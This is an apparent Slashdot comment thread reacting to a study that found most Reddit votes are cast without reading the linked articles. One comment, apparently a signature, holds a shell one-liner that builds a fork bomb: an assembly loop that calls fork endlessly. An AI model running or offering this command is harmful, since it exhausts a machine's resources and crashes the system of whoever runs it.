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New Study Finds That Most Redditors Don't Actually Read the Articles They Vote On (vice.com)
Michael Byrne, writing for Motherboard: According to a paper published in IEEE Transactions on Computational Social Systems by researchers at Notre Dame University, some 73 percent of posts on Reddit are voted on by users that haven't actually clicked through to view the content being rated. This is according to a newly released dataset consisting of all Reddit activity of 309 site users for a one year period. In the process, the researchers identified signs of "cognitive fatigue" in Reddit users most likely to vote on content. Online aggregation is then somewhat a function of mental exhaustion.
99% of /.ers don't read the articles posted before commenting.
I mean, that's how it works here too, right?
I'm going to fully support the results of this study, although I have yet to actually click on it.
Now is the time to write your Redditor and let them know exactly what you think. When your letter is received, you can rest assured that it will be voted upon, regardless of whether it was read.
When I use a discussion site like Reddit, or Hacker News, or Slashdot, or Stack Overflow, I want to see all comments by default.
I don't care about what score they've been given by a bunch of arbitrary moderators or other users.
I want to make up my own mind by seeing the comments for myself. I'll judge them on my own.
Sites like those, and this one, would be a lot better without the pointless moderating/voting systems they have.
Those systems just encourage foolish people to babble the accepted group-think in order to collect pointless "karma" points. That's not real discussion. That's just a pathetic form of online communal brown-nosing.
What's worse is when those flawed moderation/voting systems hide the best content, which often features original thoughts and ideas that the mindless masses find too controversial or painful to think about.
To hell with the voting and moderation we see on online discussion sites. They just hurt the discussion more than they help it.
I upvoted this article.
...gis sdrawkcab (usually not responding to ACs; don't bother posting as AC)
Upvoted Not Because Girl, But Because It Is Very Cool; However, I Do Concede That I Initially Clicked Because Girl.
Summation 2
Not reading TFA?
Call me shocked.
The author must be a newbie.
Reddit upvotes are heavily botted, and I imagine the publishers of these articles are the prime suspects. Clicks mean cash.
For all intensive porpoises your a bunch of rediculous loosers
I just vote up headlines that confirm my worldview and downvote the ones that don't.
They knew they were being studied (it was done by a voluntary browser plugin) but didnt know what specific habits they were studying.
When you cant win, ad hominem.
To determine whether or not this is a problem, we have to determine what percentage of articles are actually worth reading over the headlines. If the articles are typically just fleshing out the headline, without anything meaningful added, this is efficient, rational behavior.
This is my signature. There are many like it, but this one is mine.
...that slashdot is not alone in that phenomena.
This episode of The Orville reminds me of this -- it seems that people just make split decisions because they can't be bothered with hearing and weighing the evidence presented to them. Probably because people aren't being asked to think into the areas of possible ambiguity, we just raise them to pick from a selection of choices. The millennial generation might as well be called the multiple choice generation. So glad I'm from the "Choose your own adventure" generation. ;)
Posters don't click on the article because they are *NOT* commenting on the article, but rather commenting on other poster's comments. So what.
I concur
I did my third post on reddit sometimes the last month, warning about a bad scheme on Amazon Prime trials, and all I got was banter about not reading the fuking manual and whatnot... I think (most) redditors are septemberists of the internet who have absolutely no idea on argumentation and will instantly vote no on anything that even attempts to bash anything they appreciate (in this case, Amazon Prime). Bu oh well maybe I'm a septemberist myself on reddit so I digress.
One thing I'm sure off - not going to reddit whenever I feel like trying to get relevant info out on anything. I'll just make a facebook share and I'm sure none of my friends will unlike it #egorub
I am pertty sure reddit bans would not have affected the study, they could have used the data gathered before the bans,
When you cant win, ad hominem.
It's a widespread phenomenon, not just limited to one site. People don't have time to read articles (or even summaries), which is why headlines generally start and drive discussions. Our brains just can't handle that much information, but we have that silly emotional need to get our opinions out there regardless.
Many don't even read the title of the post, they just sort of get a feel for what the article is about and then kneejerk from there. I'm looking at a front page post on reddit right now where the top rated comment is just that, he even uses a quote from the article but he clearly didn't comprehend the article at all.
You know you can post anonymously when you're signed in, right?
I've fallen off your lawn, and I can't get up.
TL;DR
Besides, I know EVERYTHING.
As someone observed after the "He will not divide us" episode where 4chaners found the flag in a rather clever cunning way - "4chan is smart people pretending to be dumb. Reddit is dumb people pretending to be smart".
https://www.inquisitr.com/4060...
So how did 4chan find and steal the He Will Not Divide Us flag?
It turns out, Shia made one mistake in setting up the camera on the soon-to-be-stolen flag. It was such a simple thing that normal people would never have noticed, but the 4chan trolls sprung into action when they realized the camera was aimed in part at the sky.
According to various users on 4chan, members of the board used jet contrails, flight paths, and astronomy to determine the general location of the He Will Not Divide Us flag installation. After narrowing down the location to somewhere in Tennesee, 4chan sleuths drove around the area honking their horns to see if the sound would show up on the live stream.
And as it turns out, they were successful almost immediately, as 4chan found the flag site less than a couple days after it went live. The trolls replaced the stolen flag with the hat and T-shirt mentioned earlier.
Besides the obvious issues with theft and harassment, 4chan's actions in this incident are merely a part of what has become known to many who study the impact of social media in society as the "Great Meme War."
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Same with voting for president?
They could have "editors" who don't bother to read and correct submissions before publishing them.
/. was supposed to work was that readers vote on submissions (via the firehose), and the most highly voted submissions get promoted to the front page. I'm not sure what the editors are for if they're not reading and correcting submissions. At least Reddit voters have the excuse that they read TFA elsewhere so are voting on it despite not having clicked the link on Reddit.
I thought the way
thus altering the outcome and findings of the study?
You're right, if they didn't know they were being tracked, that number would probably be 95%
More important is cause and effect. I read comments first because if there are any red flags, it'll show up top in the comments.
At the risk of being too meta: the clickbait headline here reads like "Redditors are lazy and that's bad."
The study itself is paywalled, the article at Vice most people who DO click on the links are likely to read misses a big point made in the abstract.
From the IEEE study abstract
The sheer volume of new information being produced and consumed only increases the reliance that individuals place on the ability of anonymous others to curate and sort massive amounts of information. Because of the economic and intrinsic value involved, it is important to understand how individuals consume anonymously curated information and contribute to the wisdom of the crowd.
Hi, I'm your curator for this clickbait article: Vice's take-away and headline is stupid. Don't bother reading it. Redditors, slashdotters are simply using a much bigger online base of peers to tell them whether the article is worth reading or not.
The same thing happens in all types of reading. In science, if one of my colleagues tells me a big-sounding paper is trash, I probably won't bother reading it because I have too many other papers to read. It's arguably less logical to trust that one colleague than it is to trust several thousand people online whether it's worth reading or is trash.
I gave up on pointing out the article doesn't say what they think it does. They really don't care.
Click-bait headlines, obvious spam, incomprehensible headlines, headlines that violate sub formatting rules, headlines that are already on the front page, headlines with spoilers...
Those are the majority of my post downvotes on reddit.
I often don't click through a link, but instead prefer to copy it, paste it, and if needed modify it. It seems anyone doing some basic "link hygiene" like this might not get counted?
That's hard to imagine. There are days where it seems like every second story summary is a ghastly abuse of synopsis and common sense.
News for Nerds shouldn't be lightly refried click-bait, but it often is (often larded with fresh wrigglers, free of charge).
Anyways, I have no opinions about the non-commenters. They might as well not exist, as viewed from this side of the fence. I mainly read the comments to see who can process context and who can't. If I have something to say on the subject, I often take that road. Otherwise, I tend to hack on the people who can't/won't process context, who just sit there and contribute the same old speedily-rehydrated boiler-plate dial tone.
Many times after I sing Wake Up Little Susie I add the exchange to my butterfly collection of discourse malfunction (similar to wardrobe malfunction, but 100 times more pervasive).
Nothing in the modern age is more universally on topic than discourse malfunction.
I always read the article before upvoting or (rarely) downvoting. I never comment or vote on comments if I haven't read the article. I will read just the comment section from time to time and then read the article. Just from doing that it's possible to tell the vast majority of comments are people stating their own opinion of the article based on the title or simply reacting to comments. It's really sad.
I Agree with Technicality!
I didn't read your comment or the article, but it's about cool tech as stuff anyway, right?